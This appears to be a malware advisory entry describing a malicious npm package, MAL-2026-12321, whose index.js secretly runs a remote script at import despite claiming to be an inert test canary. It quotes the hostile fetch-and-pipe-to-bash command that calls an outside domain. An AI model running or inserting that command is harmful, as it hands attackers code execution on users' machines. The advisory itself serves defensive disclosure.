## What is MAL-2026-12321?

MAL-2026-12321 is a malicious package in @mgor/fw-canary-20260725-394b024b, published on 5 Aug 2026. 

### Official description

index.js, the package's declared main entry point, unconditionally executes `curl fewafw.hydege.me | /bin/bash` at top level. Any consumer that requires or imports this package fetches an unpinned, unverified shell script from a non-first-party domain and pipes it into bash, yielding arbitrary code execution on the installer's host. The package.json description and README self-label the package as an inert security-test canary with no install scripts and no functionality, directly contradicting the actual code behavior — a deceptive cover story.

## What should I do about MAL-2026-12321?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
